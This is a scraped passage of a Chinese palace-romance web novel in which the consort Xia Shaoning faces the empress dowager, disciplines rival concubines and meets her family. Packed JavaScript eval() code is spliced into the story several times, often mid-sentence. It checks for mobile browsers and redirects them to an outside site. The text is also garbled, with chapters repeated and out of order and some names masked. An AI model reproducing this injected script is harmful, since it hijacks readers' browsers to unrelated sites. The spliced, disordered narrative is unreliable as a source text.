当初贤王府的女眷们,在萧祈安登基以后便被接进了后宫。只不过萧祈安初登基实在太忙了,所以也就是太后做主给她们随意分配了住处暂时住着,其他东西一概没有。 如今一百八十日的孝期已满,前朝的事情也都处理得差不多了,所以后宫女人们的心思也渐渐开始活跃起来了。 众人都在等着圣上满了孝期后头一回入后宫会去谁的宫里,又会如何确定众人的位份。却没想到萧祈安从来不按套路出牌,他直接让张全和传旨把夏韶宁召到了紫宸殿。 紫宸殿。 夏韶宁已经半年没见过萧祈安了。 如今她站在下首,上首是穿着龙袍的萧祈安,她忽然之间有些恍惚。 这男人,还真的当上皇帝了? “半年没见朕,不认识了?” 萧祈安看着夏韶宁一副呆愣愣的样子,便从龙椅上走了下来,伸出手来就拧了拧她的脸。 “痛。”脸上的痛瞬间让夏韶宁回过神来,这会儿的她才终于确定一切不是做梦。 萧祈安他真的实现他的愿望,坐上那个位置,成了大容国的新一任帝王了。 “朕忙着没空去瞧你,你也不知道遣个人来给朕问个安,你就一点儿不想朕?” 说着,萧祈安一把就将夏韶宁拉进了怀里,“想你了,特别想。” 夏韶宁窝在萧祈安的怀里,听着他强有力的心跳声,直到这个时候才感受到了一阵踏实的安心感,于是那紧绷的身体也就渐渐放松了下来。 “臣妾听说这半年来外头乱得很,想来陛下肯定也很忙,又是在孝期里,所以臣妾不敢来打扰陛下。” 夏韶宁说话的声音小小的,只是萧祈安却听得清清楚楚。 “宁儿,这半年来,朕杀了好多人,这几个月来朕每天晚上做梦都会梦到那群人伸着舌头要来索朕的命,可是朕不怕,朕也不后悔。” 萧祈安伸出手来细细婆娑着夏韶宁的头发,说话的语气听不出什么情绪。 “臣妾不知道别的,只知道少时在学堂里念书的时候,先生曾教过一句诗——‘野火烧不尽,春风吹又生’。” “那群人死得不无辜,他们一日不死,陛下的皇位就一日坐不安慰,大容的老百姓就一日过不上安定的好日子。” 夏韶宁从来就不是那般娇娇弱弱的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371059|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,听得人家说起****的这种话只会一味地捂着耳朵白了脸。 她是一路跟着萧祈安从微时走到今天的,萧祈安经历了什么,大容这个国家又经历了什么,她知道得一清二楚。 一朝天子一朝臣,既然如今坐上这皇位的是萧祈安,那么拥有绝对话语权的人,只能是他。 他的决定,没有人可以质疑。 “知朕者莫若宁儿也,朕就知道遇到了困惑的事情,只要找宁儿说一说,总能解决。” 听得夏韶宁的话和她的表现,萧祈安的脸上终于露出了久违的笑容。 “朕怎么瞧着你比半年前瘦了些?这半年来你在后宫过得好不好?如今你们的住处位份都还没有定下,那些宫人没有苛待你吧?” 萧祈安松开夏韶宁,仔仔细细盯着她看了半晌,这才发现夏韶宁似乎清减了不少。 “苛待倒是算不上,只是说实话,臣妾还是更喜欢从前在王府里的生活。” 听得萧祈安这一连的疑问,夏韶宁犹豫了一会儿,终究还是开口了。 “嗯?人人都说皇宫是这天底下最好的地方,怎么宁儿不喜欢?”萧祈安有些不解道。 “皇宫太大了,人多规矩也大,臣妾总觉得拘得慌。” 夏韶宁顿了会儿,漫不经心地回道。 “是朕不好,疏忽你了。” 看着眼前这小丫头一脸不开心的样子,萧祈安连想都没想就对着她道起歉来。 “等朕忙完这一阵,带着你去行宫玩,去上驷院玩,你想去哪儿玩就去哪儿玩,好不好?” “玩儿倒是其次呢,陛下有一句话说得对,如今从前府里的女眷们入了后宫,一直还是没名没分地在后宫里待着,臣妾觉得实在是有些不成样子。” 说来说去,后宫和从前在王府里也没什么不一样,后宫的女人在乎的无外乎也就是那么几样东西。 地位,孩子,以及天子的宠爱。 如今先帝的孝期都过了,那么后宫里的这些事情也就是时候该提上日程了。 第一百八十五章 下马威 说实话,夏韶宁的内心对如今的太后娘娘其实有一种很复杂的感觉。 在仅有的那么几次与太后的见面里,两人的相处似乎都不是很愉快。再加上太后与萧祈安这份微妙的母子关系,都让夏韶宁对太后很难生出一个良好的印象来。 所以,在今日来永寿宫之前,夏韶宁就决定了自己今日一定要少说话少出头,当一个漂亮的壁花就好了。 可惜,太后却好像并不是这么想的。 永寿宫。 不知是不是因为今日是后宫众妃嫔第一次正式来向太后请安,太后的穿着显得特别的华丽与庄重。 夏韶宁的位份最高,所以哪怕她不想,她还是领着众妃跪在了最前面。 “臣妾给太后娘娘请安,太后娘娘万安。” 太后面无表情地坐在上首,看着跪在底下的妃嫔们,也只是对着她们摆了摆手,示意她们起身。 “说起来,这安本早就应该请的,拖到如今,着实有些不成样子。” 眼见着众人站定,太后终于不咸不淡地开口了。 夏韶宁站在最前面,明显看出了上首太后面上的不悦。她本想习惯性地往后站,但是这会儿却忽然发现太后正直勾勾地盯着自己。 于是她只能在心里重重地叹了一口气,认命般地开口了。 “太后娘娘恕罪,都是臣妾的不是。”夏韶宁一边说,一边又低下头跪下身来。 “圣上登基登得匆忙,孝端皇后又去得早,实在是这后宫里没了主心骨般的人物,臣妾们便有些不知所措了。这才失了礼数,还望太后娘娘原谅臣妾们。” 听得夏韶宁一口一个“臣妾们”,站在她身后的其他人本来还准备看戏的,这会儿子倒是集体也跟着她跪了下来。 “昭贵妃这话说的,倒是哀家的不是了?” 虽然夏韶宁左一句“恕罪”右一句“原谅”说得恭敬又好听,但是这番话落到了太后的耳朵里,却只让她听出了一丝嘲讽的意味。 “孝端皇后去了,哀家不是还好好的在着吗?昭贵妃这是丝毫没将哀家放在眼里了?” 听得太后这番一点儿都不客气的话,夏韶宁忍不住在心里翻了个大大的白眼。 她心里想着,这太后怕不是在萧祈安那受了气,就把气全撒在她们这群便宜儿媳的头上了吧? “哎,太后娘娘别生气,瑞儿听说臣妾今日要来向您请安,还特意让臣妾带他向您问安呢!” 眼见着这会儿的永寿宫里的气氛着实有些尴尬,站在夏韶宁身后的唐贤妃适时开口,打破了沉默。 果然,听得唐贤妃提起了大皇子,刚刚还板着一张脸的太后脸色瞬间就多云转晴了。 “之前瑞儿在哀家身边养了半年多,后来回王府去了哀家倒是还怪不习惯的。没想到过了这么久了这孩子还能惦记着祖母,还得是贤妃会养孩子啊。” 太后说这话的时候,那眼神一直有意无意地在往夏韶宁的身上瞟,而这会儿的夏韶宁却只是一味地装傻,假装自己什么都没看见。 “说起来,当初在潜邸的时候哀家就觉得圣上膝下的孩子太少了。如今圣上继位,你们也成了宫妃,那就更得多努力些为圣上多多开枝散叶的好。” “只是今年的选秀想来是赶不上了,明年的大选,昭贵妃可是要尽心些才是。” 这会儿的夏韶宁正保持着得体的微笑站着,冷不防听到太后又提到了自己,她也只能如小鸡啄米般不住地点头。 “如今后位暂时空悬,是而昭贵妃位份最高,圣上又允了你主理六宫的权利,所以后宫的事情少不得要你多多费心。” “只不过你若是觉得忙不过来,贤妃、许昭容的家世统统在你之上,想来处理宫务也比你要得心应手的多。你不妨也多分些事情给她们做,倒是不影响你服侍圣上,昭贵妃,你说呢?” 太后这话初听之下仿佛是在关心夏韶宁一个人在处理宫务上会忙不过来,只是但凡有些头脑的人都听得出,这明晃晃地就是在打她的脸,想要给她一个下马威啊! 想来夏韶宁这个贵妃上位还不到半月,太后就如此嘲讽她,想要从她手里分权,她今日若是继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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源头在哪 被这几个扫兴的宫女一打扰,夏韶宁早就没有逛御花园的心情,转头就带着惜春回了承乾宫。 “把李顺给我叫过来。”刚一坐定,夏韶宁连茶水都没来得及喝上一口就对着惜春吩咐道。 惜春偷偷看了眼自家娘娘的脸色,这会儿可是十分的不好了。于是她也不敢多说什么,立刻就去将李顺找了来。 “给昭贵妃娘娘请安。”李顺入了外殿,见着夏韶宁正面无表情地坐在上首,急忙跪下身朝着她请安。 “你起来吧,本宫今日找你来,是有些事情想问你。”夏韶宁对着李顺随意地摆了摆手示意他起身,便开口了。 “这些日子,你有没有在私底下听到宫里有人在议论本宫?” 这会儿的夏韶宁已经不生气了,她自顾自地端起手边的茶水喝了一口,一边等着李顺的回话。 李顺站在下首,听得贵妃娘娘的问话,心里忽然一怔。 他想到自己入了这承乾宫半个来月了,贵妃娘娘一次都没有单独召见过他。冷不防的今日叫他来,居然是问这件事儿的。 “求娘娘恕罪,奴才这些日子的确曾听到过有些内侍宫女们在私下里谈论过一些有关于娘娘的事情。只是奴才才来这承乾宫,对贵妃娘娘的性格脾气不大了解,所以也不知道该不该来禀告娘娘……” 李顺弓着腰,一字一句说得那样的恭敬。 听得李顺这般还算真诚的话,夏韶宁倒是放心了下来。看来这个人,不是那种睁着眼说瞎话只想着糊弄主子的人。 “看在你还算真诚的份上,本宫今日就交代一件事情让你去做。” 夏韶宁放下茶盏,对着李顺浅浅地点了点头,随即又对着他道,“本宫给你三天的时间,你去将这些有关于本宫谣言的源头给找出来。当然,不能让别人知道是本宫让你去找的,你能不能做到?” 听得娘娘非但没有怪罪自己知情不报,还如此信任自己交代自己去办事,李顺的心里别提有多高兴了。 “娘娘放心,奴才八岁的时候就入了大容后宫当内侍了,打听消息这种事情对奴才来说不算难事。就三天,三天以后奴才保准把这消息打听得清清楚楚,您安心等着便好!” …… 说起来,这李顺还真是有些本事的。 这第三天的晌午刚过,李顺就神神秘秘地跑来找夏韶宁了。 这会儿的夏韶宁刚用过午膳,抬手让兰芷将殿内其他伺候的人都带了下去,这才不慌不忙地对着李顺道,“有眉目了?” “奴才在娘娘面前海口都夸下了,这事情要是找不到眉目,那不是在娘娘面前自己打自己的脸嘛!” 李顺对着夏韶宁笑了笑,随即便压低声音道,“奴才打听到了,这消息最先是从华清宫一个三等宫女的嘴里传出来的。那宫女又同延禧宫的一个宫女私下里关系很好,就当作个八卦说给那个宫女听了,再然后不知怎的,就传得满后宫里都知道了……” “你这消息可靠吗?”夏韶宁有些不确信地抬头看了一眼李顺,语气里还是有些不大相信。 实在也不怪她这般谨慎,以前在贤王府的时候那群女人最常用的计谋就是用钱或者用把柄买通别人身边伺候的人来给她们当内应。 如今她们都已经入宫当娘娘了,身边伺候的宫人可比以前在王府的时候更多了,想要收买别人身边伺候的人,那就更简单了。 “娘娘这是不信奴才了?”李顺一开始还一副眉飞色舞的样子对着夏韶宁说着他打听来的消息,却见着自家娘娘摆了一副怀疑的神色看着自己,一下子就泄气了。 不过仔细想来他倒是也理解,毕竟他来了娘娘身边还不到一个月,娘娘好像是没什么理由要这般相信他说的话。 他低着头顿了顿,再抬头的时候,眼神就显得比刚才坚毅了不少。 “奴才知道这会儿无论奴才说什么,娘娘都不可能像信任蕙心姐姐那般信任奴才。奴才只是想同娘娘说,只要入了这承乾宫,奴才心中的主子便只有娘娘一个人。奴才相信天长日久相处下来,娘娘也定会像信任蕙心姐姐她们一样信任奴才的!” “本宫不过随口问问,你这奴才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因着如今后宫里没有皇后,夏韶宁的位份最高,所以依着大容宫规,后宫的嫔妃们每月的初一十五便还是要去承乾宫向贵妃娘娘请安的。 而今日,刚好是九月十五,众妃嫔来向夏韶宁请安的日子。 说起来,这算是众人成为宫妃以后第一次向夏韶宁请安,所以今日的夏韶宁,穿着打扮就十分的讲究。 只见她今日穿着一身杏黄色绛丝的朝袍,朝袍的领口缀着象征贵妃地位的六颗南珠,高高的**髻上插着一支六根流苏的珊瑚步摇,再配上她那张一直以来就为众人所知绝色的脸,整个人显得华丽却又并不俗气。 “本不愿如此麻烦姐妹们一月两次来承乾宫给本宫请安的,只是太后娘娘最重规矩,本宫也不敢惹她生气,所以也就只能辛苦各位姐妹们了。” 兰芷和蕙心一左一右地扶着夏韶宁在上首的椅子上刚坐定,夏韶宁便不紧不慢地开口了。 “贵妃娘娘说得哪里的话,如今后宫中没有皇后,众姐妹都以娘娘为尊,来向娘娘请安,那是再合理不过的事了。” 唐贤妃坐在下首的第一个位置,这会儿正微笑地抬头对着夏韶宁说着那番恭维的话。 此时若是有不知道两人之间曾发生过何事情的人听得她的这番话,定会觉得她唐贤妃是个再懂礼仪不过的人了。 见唐贤妃笑得温婉,夏韶宁心里哪怕再烦她,面上也不会显露分毫。 “这满宫里就数贤妃姐姐说话最好听了。”夏韶宁摸了摸手上的珐琅护甲,慢条斯理道,“只是说起来,当初太后娘娘是不太中意本宫这个人的。想来也是,本宫的家世,在后宫众多姐妹中,也的确不太能排得上号。” “家世这种东西,若是圣上在意,那就是再重要不过的事情。只是若是圣上不在意,那就只有这漂亮的家世可以说说了。许昭容,你说呢?” 唐贤妃很明显就听出了夏韶宁这番话背后的意思,又联想到前段时间宫里有关于许昭容家世的传闻,这会儿便立刻语带嘲讽地对着许昭容开口了。 许昭容自听到夏韶宁提到家世这码事之后,手中的帕子就一直紧紧捏着不敢松开。这会儿听得唐贤妃果然将话头引到了自己身上,面色就变了。 “贵妃娘娘何必妄自菲薄,圣上看重您,自然也就会看重您的母家。臣妾听说娘娘的大哥前段时间可是升官了呢!” 许昭容抬起头来对着夏韶宁讪笑了一声,整个人看起来颇有些局促难安的感觉。 “本宫的父亲和哥哥,都是正经科举入仕的。就算是升官,那也是靠自己平日里的政绩突出,与圣上有何关系?” 听得许昭容这番哪壶不开提哪壶的话,夏韶宁显然不高兴了。 她端起手边的茶盏喝了一口茶,再看向许昭容时,眼神便带了一丝警告的意味。 “姐妹们都是从潜邸里上来的老人了,所以有些话本宫也就不同各位拐弯抹角了。” “如今进了宫,成了宫妃,从前在潜邸时的那些坏习惯能改还是改了。有些人不要以为自己那点小聪明有多厉害,其实在他人面前可能真的不太够看的。” “本宫不是从前孝端皇后那般的老好人,既然如今圣上暂时将这后宫的事务交给本宫管,那本宫就得管好了!所以各人也该自己好好想想,在这宫里什么事情是能做的,什么事情是做不得的。” 夏韶宁说这话的事情语气是前所未有的严肃,虽然从前她从没想过自己能坐上贵妃的这个位置,可是如今萧祈安既然把她提到了这个位置,她也就在其位谋其事,暂时替他把这后宫管好便是。 底下的众人听得夏韶宁这番话,这会儿的脸色倒是各有各的不同。 唐贤妃一时搞不明白夏韶宁这话到底是说给许昭容听的,还是在点破她之前故意传播夏韶宁家世的谣言,这会儿便只是尴尬地笑着。 而许昭容早在被夏韶宁剜了一眼之后心里就“砰砰砰”地跳个不停,此时连同夏韶宁对视都不敢了,只顾着低着头绞着她手里的帕子。 而剩下的其他人,谢充媛向来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371065|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是夏韶宁说什么就听什么的,这会儿正一脸恭敬地看着她。而苏修媛和沈婕妤,则是面无表情不知道心里在想什么。 坐在最末尾的吴美人,面上倒是有些不大服气的样子。只是夏韶宁一个眼神递了过去,她碍于自己的身份也不敢再说什么了。 “本宫这人向来喜欢丑话说在前头,今日将这些不好听的话说完了,以后咱们姐妹之间还是好好相处。” 看着自己今日这番立威的话似乎说进了这群女人的心里,刚刚还面目严肃的夏韶宁这会儿倒是笑得温婉。 “蕙心,将本宫给姐妹们准备的礼物拿上来吧。”夏韶宁对着站在她身边的蕙心吩咐了一声,便见着蕙心带着几个端着托盘的宫女走了进来。 “大皇子过完年便要去崇文馆上课了,本宫准备了一套上好的文房四宝,就劳烦贤妃姐姐替本宫交给大皇子了。” “四皇子和五皇子身子弱,眼瞅着就要入冬了,本宫吩咐尚衣局用上好的银狐皮子给两位皇子一人做了一件大氅,这样出门就不冷了。” “花鸟局前几日送了只会说话的鹦鹉来,本宫瞧着这鹦鹉说话说得怪好的,就送给苏修媛带回去给二皇子玩了。” “皎皎是女孩子,天生爱漂亮,本宫给她准备了一些精致的小首饰,带着玩正好。” “至于许昭容和吴美人,这几匹蜀绣的料子和这两幅头面都是圣上前几日刚赏的,本宫想着你们穿戴者应该好看,便带回宫去吧。” 一口气说完了自己送给众人的礼物,这会儿的夏韶宁笑眯眯地看着众人,不再出声了。 众人根本就没想到,明明刚刚说起话来还那般严肃的昭贵妃,这会儿居然如此细心为所有人都准备了最适合她们的礼物。一时之间你看看我,我看看你,仿佛都有些不知道该说什么了。 最后,还是谢充媛率先跪下身来,语气恭敬对着夏韶宁道,“臣妾替二公主谢过昭贵妃娘娘赏赐!” 而后其他人便也纷纷跪下道,“谢昭贵妃娘娘赏赐!” 第一百九十章 见娘家人 第二日,萧祈安就下了旨意让夏宽于一周后前往辽州赴任知州之位。 夏韶宁想着此后至少有三年不得与父母亲见面了,于是特意向萧祈安求了个旨让嫡母郝氏和长嫂柳氏进宫同自己见一面,这样她也能安心些。 同心殿殿内。 蕙心带着宫女们给郝氏与柳氏上了茶,便规规矩矩地退了下去,这会儿的殿内便只剩下夏韶宁和她们两人了。 郝氏与柳氏都是第一次进宫,夏韶宁一早便让李顺去宫门口等着了,待二人到了以后便一路将她们带到了承乾宫。 两人自从上了入宫的马车后心中就特别紧张,柳氏还尚能保持一丝面上的镇定,郝氏却是一打眼瞧过去就能看出她的不自然。 眼见着这会儿伺候的人终于都退出去了,郝氏这才大大地松了一口气。 “宁儿……” “母亲,咱们该向贵妃娘娘请安的。” 郝氏刚想开口说话,却被一旁的儿媳妇扯住了手,这会儿才想起来上首坐着的女儿如今已经是贵妃娘娘了。 于是两人便立刻跪下身来朝着夏韶宁道,“臣妇给昭贵妃娘娘请安,昭贵妃娘娘万安。” “母亲和大嫂快快起来!”眼见着一向疼爱自己的母亲和大嫂居然跪着朝自己请安,夏韶宁心中着实有些不适,眼见着两人行完了礼,便立刻将两人扶了起来。 “来宫里之前,父亲与相公都交代过了,娘娘如今是贵妃了,该有的礼数可不能省略。宫里人多口杂,太后娘娘又最重规矩,到时候若是传到她人的耳朵里,该说娘娘与咱们夏家不知礼数了。” 柳氏站起身来,怕夏韶宁觉得她们与她生分了,于是便急忙对着夏韶宁解释道。 “我倒是没有父亲与大哥考虑得周到。”听得柳氏的解释,夏韶宁这才明白为何她们执意要对着自己行大礼。 “宁……娘娘这几个月过得可好?” 郝氏倒是不管那么多,她抬眼瞧着夏韶宁瘦得明显,这会儿可是心疼得不得了,眼眶都不知不觉地红了起来。 “母亲别难过,我好得很呢!”看着郝氏这般样子,夏韶宁心里也有些酸了起来,“只是今日一别,大概要等三年以后才能相见了,也不知道父亲怪不怪我擅自答应了圣上将他外放的旨意。” “娘娘别胡思乱想,老爷当然明白您与圣上的良苦用心。”哪怕郝氏再愚钝,这会儿子也看出了夏韶宁面上的无奈。 “老爷说了,他若是不外放,这辈子撑死也只能做到个五品官。只是娘娘如今已经是贵妃了,若是娘家家世一直这般低,娘娘在宫里的日子也不过好。倒是不如趁着他还不算太老,去外放历练积累一番,日后回了金州,也可为圣上与娘娘分忧。” 夏韶宁听着郝氏一字一句地传达着父亲的想法,心中忽然觉得她这个父亲真的不像面上看着的那般木讷。就如萧祈安说的,夏宽是个有能力也有大智慧的人。 “难为父亲这般理解我。”夏韶宁呼了一口气,再抬头终于对着两人露出了难得的笑脸。 “父亲这番去辽州,母亲要跟着一块儿去吗?还有祖母,也一块去吗?” “老爷说了,母亲年纪大了,就不再折腾她了。他去了辽州,明朗和英儿还在家里,这几年就让他们夫妇俩照顾着母亲吧。” 说到这儿,郝氏看了一眼坐在自己身边的柳白英,对自己这个儿媳妇那可真是一百个放心。 “最后决定我与你姨娘跟着老爷一道去辽州,冉儿还没定人家,就让李姨娘在家陪着冉儿也服侍着母亲,这般正好。” 听得郝氏的这般安排,夏韶宁还是觉得很满意的。 郝氏是主母,但是性格有些莽撞,跟着夏宽去了辽州免不了要应付那群地方官员家的女眷们。有她的亲娘付氏跟在身边帮着应付一番,倒是也不至于让自己吃亏。 “母亲今日提起冉儿,我倒是想起来了,冉儿今年十六了,父亲这又得外放辽州三年,没想过要给冉儿先定个人家吗?” 说起这个性子柔弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371067|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的妹妹,夏韶宁的眉头倒是忍不住皱了起来。 “哎,这……还是英儿你来说吧。” 听得夏韶宁提起夏家这个最小的女儿,郝氏便忍不住叹了一口气,转头对着柳白英摆了摆手。 “小妹因为之前**小姐的那件事情吓得不轻,虽然那**的死与小妹并没什么很大的关系,但是到底给她留下了一些心理阴影。” 柳白英抬头看了看不住叹气的郝氏和一脸疑惑的夏韶宁,又继续开口了。 “父亲早一个月前就想给小妹相看人家了,可是每每我们都觉得不错的人家,小妹却怎么都不愿意。后来我私底下去问她,她才说了她这两年不想嫁人,她……似乎有些害怕。” 听得柳白英的话,夏韶宁这才明白了。 **就是因为自己的恋爱脑被废太子给勒死的,这几个月发生了那么多事,想来这小丫头是真的被吓着了。 “不嫁就不嫁吧,本来也才刚刚十六岁,就算等父亲母亲回到金州,她也才十九岁,年纪也不算很大。” 夏韶宁捏着手中的帕子思索了好一会儿,最终还是开口安慰起一直坐在她身边长吁短叹的郝氏来。 “她堂堂贵妃娘娘的亲妹子,以后还怕找不到好人家吗?母亲和嫂嫂别担心了。” “母亲不担心那些,你哥哥妹妹再怎么样都在父亲母亲的身边,倒是娘娘一个人在这深宫里,我们又要离开金州三年,我这心里……” 郝氏拉着夏韶宁的手,看着她脸上那完美的笑容,忽然就觉得心疼起来。 “母亲放心吧,圣上向着我,别人就欺负不了我。”夏韶宁拍了拍郝氏的手又道,“再说我是那般容易受欺负的人吗?这宫里的女人再厉害,我兵来将挡水来土掩就是了!哪怕以后圣上不向着我了,我如今所拥有的一切也能好好支撑着我在这宫里活下去了!” 说到这里,夏韶宁又深深看了郝氏和柳氏一眼,朗声道,“倒是夏府的一切,还是要拜托母亲和嫂嫂了!” 第一百八十九章 愿意抬举 晚间,承乾宫。 “这怎么都进宫了,你这里的菜味道还是和从前一样啊?”萧祈安吃了一口碟子里的酒炖八宝鸭子,感觉和从前在潜邸里吃的味道一模一样。 “臣妾把王厨娘和何娘子一起带进宫了,如今让她们两个继续在承乾宫的小厨房里当差呢!” 眼见着萧祈安喜欢吃这道菜,夏韶宁便又夹了一筷子放进了他的碟子里,“陛下喜欢的话就多吃些。” “朕真不知道是说你这丫头懒还是说你长情。”萧祈安有些无奈地将夏韶宁夹给他的菜一口吃了,才对着她道,“这皇宫里那么多御厨,怎的就还比不上你从前院子里的厨娘了?” “陛下这话可就不对了,御厨做的菜能有臣妾小厨房里的好吃嘛?”听得萧祈安的话,夏韶宁有些不悦地白了他一眼,“若是您觉得不好吃,下次就别来了!” “朕怎么瞧着你自从当上贵妃娘娘以后,脾气比从前大多了。”萧祈安见状,忍不住放下筷子就将她揽进了怀里,“谁惹你生气了是不是?” “没有。”不知为何,听得萧祈安这般软声软气的话,夏韶宁心中倒是有些委屈了起来,只是她这会儿又不想说了。 “是不是今天她们给你请安说了不好听的话惹着你了?是谁?许昭容还是吴美人?” 萧祈安伸出手摸了摸夏韶宁的后背,这会儿的姿势倒是有些暧昧。 “看来陛下倒是知道她们两个说话难听啊?”听见萧祈安在她面前如此直白地提起了这两个人的名字,夏韶宁忍不住笑了。 “朕多少年都没去过她们那儿了,如今她们有些怨言也正常,宁儿别往心里去。” 看见夏韶宁被自己逗笑了,萧祈安放在夏韶宁腰间的手也开始渐渐不老实起来…… “陛下,用膳呢!”感受到了自己腰间的衣带都快被解开了,夏韶宁急忙把那双“魔爪”推了开来。再转头一看,才发现不知道什么时候,殿内伺候的宫人们早就退出去了。 “不是她们。”夏韶宁有些脸红地站起身来,随即便有些落寞地道,“是前段时间偶然听到有人在谈论臣妾的家世,说臣妾能上位全凭……” “凭什么?”看着眼前夏韶宁的脸越来越红,萧祈安则是贼兮兮地朝着她越靠越近。 “说我都凭床上功夫,你高兴了吧!”夏韶宁抬起头来白了萧祈安一眼,随即饭也不吃了,一股脑地就往内殿走去。 “行了,朕都知道了。”眼看着自己好像真的把夏韶宁逗生气了,萧祈安便也不再继续同她开玩笑了。 只见他坐到了夏韶宁的身边,轻轻拉过她的手贴到了自己的脸上,小心翼翼道,“朕既然能抬着你坐上这贵妃的位置,那就必定要继续抬举你的家人啊!” “陛下这话说得和白日里许昭容说的有什么不同?”听得萧祈安这番话,夏韶宁倒是显得更生气了。 “臣妾的父亲和哥哥不靠着臣妾这个贵妃照样能升迁,他们都是有本事的人!只是因为从前一直保持中立不肯随意乱站队,这才不得上峰的青眼罢了!” “你这炮仗一样的脾气到底什么时候能改改?朕说了他们不是靠自己吗?”萧祈安瞥了夏韶宁一眼,语气里多了些无奈。 “朕知道你的父兄都是难得的文臣清流,只是朕如今刚刚登基,实在很急需一批自己的人。但是贸然将他们提起来又显得太惹眼了,所以朕如今有个其他的想法,宁儿要不要听一听?” 萧祈**过夏韶宁的手,语气里多了一些期待。 看着萧祈安这番真诚的样子,夏韶宁便乖乖地点了点头。 “辽州是大容祖先发迹的地方,那里是除了金州经济最发达的州了。刚好辽州的州令上个月考核政绩优秀调回金州了,所以朕想着让你的父亲外放到辽州去当州令。到时候再升迁回金州,那就好将他安排到更重要的部门去了。” 萧祈安一边说,一边观察着夏韶宁脸上的神情,见她没有反对的意思,便又继续说了下去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371066|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“你二哥这两年在大理寺表现得很不错,若是今年年底考核优秀,朕便打算将他升为正四品的大理寺少卿了。” “而你大哥心细,说话做事比你父亲和二哥要周全,所以前段时间朕才将他调到身边给朕当起居郎,这样朕的身边也算是有个能完全信得过的人了。” 听得萧祈安絮絮叨叨地对着自己解释了这么多,虽然里头也有为了他自己的考量,但是说起来大部分好像还是在抬举夏韶宁的母家。 夏韶宁心中还是觉得十分感激。 “劳陛下为臣妾的事情如此费心了。”说着,夏韶宁一把钻进了萧祈安的怀里,“臣妾不生气了。” “朕之前就同你说过了,心中有不愉快的事情一定要告诉朕,不要一个人偷偷憋在心里生闷气,会生病的。” 萧祈安摸了摸夏韶宁的头,哄着她道,“朕与你是不一样的情分,朕愿意抬举你更愿意抬举你的家人,宁儿明白了吗?” 这会儿的夏韶宁还有什么好不开心的,一国之君能为着自己做到这种程度,哪怕是自己对他真没什么男女之情,就为着他这般护着自己,那也是很感动的。 “既然不生气了,晚膳也用了,宁儿是不是得……” 眼见着夏韶宁又恢复了从前的样子,萧祈安这会儿看着她的眼神也变得不单纯起来。 夏韶宁当然知道这男人心里在想什么,半年的孝期,再加上最近一直很忙,他还真的是已经素了很久很久了。 想到这里,夏韶宁便主动将腰间那本就有些松了的腰带扯了开来,一时之间,满室的春光差点晃花了萧祈安的眼。 “你这小妖精,朕都忘了你勾人还真是有一套!” 美人这般主动,萧祈安哪还能忍得住?只见他不由分说一把就将夏韶宁压在了身下,直到这个时候,他忽然感觉自己全身的火都快要喷发出来了。 那一夜,承乾宫的动静整整响了一整夜。直到天快破晓时,房内才渐渐安静了下来…… 第一百九十章 见娘家人 第二日,萧祈安就下了旨意让夏宽于一周后前往辽州赴任知州之位。 夏韶宁想着此后至少有三年不得与父母亲见面了,于是特意向萧祈安求了个旨让嫡母郝氏和长嫂柳氏进宫同自己见一面,这样她也能安心些。 同心殿殿内。 